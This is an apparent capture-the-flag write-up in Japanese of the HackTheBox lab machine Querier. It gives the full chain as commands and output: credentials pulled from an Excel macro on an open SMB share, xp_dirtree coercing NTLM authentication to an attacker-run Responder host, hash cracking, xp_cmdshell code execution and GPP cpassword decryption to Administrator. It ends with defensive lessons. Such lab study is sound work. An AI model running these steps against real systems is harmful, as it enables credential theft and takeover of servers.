HackTheBox: Querier — 全実行コマンド・実行結果レポート
Nmap スキャン
135/139/445/1433/5985
→
135/139/445/1433/5985
SMB “Reports”共有
Currency Volume Report.xlsm
→
Currency Volume Report.xlsm
olevbaマクロ解析
reporting:PcwTWTHRwryjc$c6
→
reporting:PcwTWTHRwryjc$c6
xp_dirtree強制認証
Responder + hashcat
→
Responder + hashcat
mssql-svc:corporate568
sysadmin!
→
sysadmin!
xp_cmdshell RCE
user.txt ✓
→
user.txt ✓
GPP Groups.xml
cpassword漏洩
→
cpassword漏洩
gpp-decrypt
Administrator復元
→
Administrator復元
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 135,139,445,1433,5985,47001 10.129.75.52
RESULT
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM 5985/tcp open wsman Microsoft HTTPAPI httpd 2.0 47001/tcp open winrm Microsoft HTTPAPI httpd 2.0
🚨
重要発見: ポート1433で
Microsoft SQL Server 2017 が稼働。
80番ポートは閉じており、Webアプリ経由の攻撃面は無い。SMB(445)とMSSQL(1433)の
組み合わせから「Excelマクロ経由の資格情報漏洩 → MSSQL侵入」という典型的な
攻撃チェーンが疑われる。WinRM(5985)も開いており最終的な横移動手段として利用可能。
PHASE 2
SMB “Reports” 共有 → Excelマクロから MSSQL 資格情報抽出
SMB共有列挙 (null session)
BASH
smbclient -L //10.129.75.52/ -N
RESULT
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Reports Disk
Reports共有の内容確認・取得
BASH
smbclient //10.129.75.52/Reports -N -c "prompt OFF; recurse ON; ls"
RESULT
. D 0 Tue Jan 29 08:23:48 2019
.. D 0 Tue Jan 29 08:23:48 2019
Currency Volume Report.xlsm A 12229 Mon Jan 28 07:21:34 2019
BASH
smbclient //10.129.75.52/Reports -N -c 'prompt OFF; get "Currency Volume Report.xlsm"'
✅
認証なし(
-N)で12,229バイトのExcelマクロファイルを取得できた。
olevba でVBAマクロを抽出
BASH
olevba "Currency Volume Report.xlsm"
RESULT
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
' macro to pull data for client volume reports
'
' further testing required
Private Sub Connect()
Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset
Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;
Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open
If conn.State = adStateOpen Then
Set rs = conn.Execute("SELECT * FROM volume;")
Sheets(1).Range("A1").CopyFromRecordset rs
rs.Close
End If
End Sub
🚨
平文MSSQL資格情報の発見: このワークシートが自動更新のために
接続する際のクレデンシャルがVBAマクロにハードコードされている。
reporting / PcwTWTHRwryjc$c6。
MSSQL 資格情報 (マクロから発見)
reporting : PcwTWTHRwryjc$c6
PHASE 3
impacket-mssqlclient でログイン確認 (sysadmin権限なし)
MSSQLへのログインと権限確認
BASH
impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.129.75.52 -windows-auth
RESULT
[*] Encryption required, switching to TLS [*] ACK: Result: 1 - Microsoft SQL Server 2017 RTM (14.0.1000) SQL (QUERIER\reporting reporting@volume)> select is_srvrolemember('sysadmin'); --- 0
⚠️
ログイン自体は成功するが
is_srvrolemember('sysadmin') が
0 (False) を返す。つまり sysadminロールを持たず、
xp_cmdshellを直接有効化できない。別の経路で特権を得る必要がある。
PHASE 4
xp_dirtree + Responder で mssql-svc の NetNTLMv2 を強制キャプチャ
Responder起動 (正しいVPNインターフェース指定が重要)
NOTE
Responder は HTB VPN のインターフェース (tun0) にバインドしなければ ターゲットからの認証を一切捕捉できない。`ip route get 1` のような システム全体のデフォルトルートではなく、`ip route get <target_ip>` で ターゲット宛の実際の経路を確認してインターフェースを特定すること。
BASH
ip route get 10.129.75.52 # 10.129.75.52 via 10.10.14.1 dev tun0 src 10.10.15.200 ← tun0を使う responder -I tun0 -w -v
xp_dirtree で mssql-svc サービスアカウントを強制認証
BASH
# 別ターミナルから同じMSSQLセッションで実行 (reporting権限のままでよい、特権不要) impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@10.129.75.52 -windows-auth SQL> exec master..xp_dirtree '\\10.10.15.200\share'
RESULT (Responderログ)
/usr/share/responder/logs/SMB-NTLMv2-SSP-10.129.75.52.txt:
mssql-svc::QUERIER:44e02f1a37ba8e8e:91E60CCE7F5BB21B3B0D0FA9E61CDDC4:0101000000...
✅
NTLMv2ハッシュ捕捉成功!
xp_dirtree は特権不要の
ストアドプロシージャだが、SQL Server サービスの実行アカウント
(QUERIER\mssql-svc) 自身に UNC パスへのアクセスを発生させるため、
Kali を指すパスを渡すだけで対象のNTLM認証を強制的に引き出せる。
hashcat でクラック
BASH
hashcat -m 5600 -a 0 mssql-svc.hash /usr/share/wordlists/rockyou.txt
RESULT
MSSQL-SVC::QUERIER:44e02f1a37ba8e8e:...:corporate568
mssql-svc 資格情報 (クラック成功)
mssql-svc : corporate568
PHASE 5
mssql-svc で再ログイン → xp_cmdshell 有効化 → user.txt
sysadmin権限の確認とxp_cmdshell有効化
BASH
impacket-mssqlclient mssql-svc:'corporate568'@10.129.75.52 -windows-auth
SQL> select is_srvrolemember('sysadmin');
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
RESULT
--- 1 ← sysadmin! output ----------------- querier\mssql-svc
✅
mssql-svc は SQL Server サービスの実行アカウントであり
MSSQL 上は sysadmin ロールを持つ。これで
xp_cmdshell が有効化でき、OSコマンド実行が可能になる。
user.txt 取得
BASH
SQL> xp_cmdshell type C:\Users\mssql-svc\Desktop\user.txt
RESULT
output
--------------------------------
e43802defde78773f4c36f90aa8ed546
user.txt — querier\mssql-svc
e43802defde78773f4c36f90aa8ed546
PHASE 6
Group Policy Preferences の cpassword → Administrator → root.txt
Group Policy History の探索
NOTE
このボックスはActive Directoryドメインには参加していないが(Workgroup "QUERIER")、ローカルGPOのGroup Policy Preferences(GPP)が過去に適用された 形跡が残っている。GPPの"Local Users and Groups"設定は、パスワードを 固定AES鍵で暗号化してXMLファイルに保存するという設計上の欠陥があり、 この鍵は2012年にMicrosoftが公開しているため誰でも復号できる。
BASH
SQL> xp_cmdshell dir /s /b "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}"
RESULT
output
--------------------------------------------------------------------------------
...\Machine\Preferences\Groups\Groups.xml
Groups.xml の内容を読み取り cpassword を発見
BASH
SQL> xp_cmdshell type "C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"
RESULT
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" ...>
<Properties action="U" ... cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ"
... userName="Administrator"></Properties></User></Groups>
🚨
重大発見: ローカル
Administrator アカウントの
暗号化パスワード (cpassword) が XML に残存。
gpp-decrypt で復号
BASH
gpp-decrypt "CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ"
RESULT
MyUnclesAreMarioAndLuigi!!1!
Administrator 資格情報 (GPP経由で復元)
Administrator : MyUnclesAreMarioAndLuigi!!1!
mssql-svc権限では root.txt が読めないことを確認
BASH
SQL> xp_cmdshell type C:\Users\Administrator\Desktop\root.txt
RESULT
output
-----------------
Access is denied.
ℹ️
想定通り、SQL Server サービスアカウント (mssql-svc) の権限では
Administrator のデスクトップを読めない。復元した Administrator
資格情報で別経路からアクセスする必要がある。
wmiexec で Administrator として root.txt 取得
BASH
impacket-wmiexec 'Administrator:MyUnclesAreMarioAndLuigi!!1!@10.129.75.52' \ 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
[*] SMBv3.0 dialect used
6d5bf9aadb83adc6d6941086148eedb7
✅
root.txt 取得成功! GPPから復元したAdministratorの
平文パスワードで直接ワンショットコマンド実行 (impacket-wmiexec) が通る
(
impacket-psexec でも同様に成功することを確認済み)。
root.txt — Administrator@QUERIER
6d5bf9aadb83adc6d6941086148eedb7
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — querier\mssql-svc
e43802defde78773f4c36f90aa8ed546
root.txt — Administrator@QUERIER
6d5bf9aadb83adc6d6941086148eedb7
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SMB null session + 平文資格情報埋め込み | Reports共有のExcelマクロ | MSSQLログイン資格情報の漏洩 | Medium | 認証なしで.xlsmを取得、olevbaでVBAマクロ内のADODB接続文字列を解析 |
| xp_dirtree によるNTLM強制認証 (coercion) | MSSQL Server (xp_dirtree) | SQL Serverサービスアカウントの認証情報漏洩 | High | 特権不要のストアドプロシージャでUNCパスアクセスを発生させResponderでNetNTLMv2を捕捉、hashcatでクラック |
| サービスアカウントのsysadmin過剰権限 | mssql-svc | リモートコード実行 (OSコマンド) | Critical | xp_cmdshell有効化によりquerier\mssql-svcコンテキストでOSコマンド実行 |
| GPP cpassword (公開済みAES鍵) | Group Policy Preferences Groups.xml | ローカルAdministrator平文パスワード漏洩 | Critical | xp_cmdshellでXML読み取り、gpp-decryptで公開鍵により即時復号 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap -sV -sC | 135/139/445/1433(MSSQL)/5985(WinRM) |
| 2 | Excelマクロ | smbclient + olevba | MSSQL資格情報 reporting:PcwTWTHRwryjc$c6 |
| 3 | MSSQLログイン | impacket-mssqlclient | ログイン成功だがsysadminなし |
| 4 | NTLM強制キャプチャ | xp_dirtree + Responder + hashcat | mssql-svc:corporate568 (sysadmin) |
| 5 | RCE | xp_cmdshell | user.txt (querier\mssql-svc) |
| 6 | 権限昇格 | GPP Groups.xml + gpp-decrypt + wmiexec | root.txt (Administrator) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SMB共有でビジネス用Excelファイルに平文DB資格情報を埋め込んだまま放置 | 接続文字列はアプリケーション側で管理し、Excelマクロにハードコードしない。SMB共有は必要最小限のアクセス権に制限する。 |
| xp_dirtree等の特権不要ストアドプロシージャがサービスアカウントの強制認証に利用可能 | SQL Serverサービスアカウントの権限を必要最小限にする。可能であれば外向きSMB通信をファイアウォールで制限し、NTLM中継/強制認証を防ぐ。 |
| SQL Serverサービスアカウントがsysadminロールを保持 | サービスアカウントには必要最小限の権限のみ付与し、sysadminロールを安易に与えない。 |
| GPP (Group Policy Preferences) でローカルアカウントのパスワードを配布 | GPPによるパスワード配布は2014年のMS14-025で非推奨化されている。既存のGPP関連ファイル(Groups.xml等)を全てのSYSVOL/ローカルGPOキャッシュから削除し、LAPS等の代替手段を使う。 |

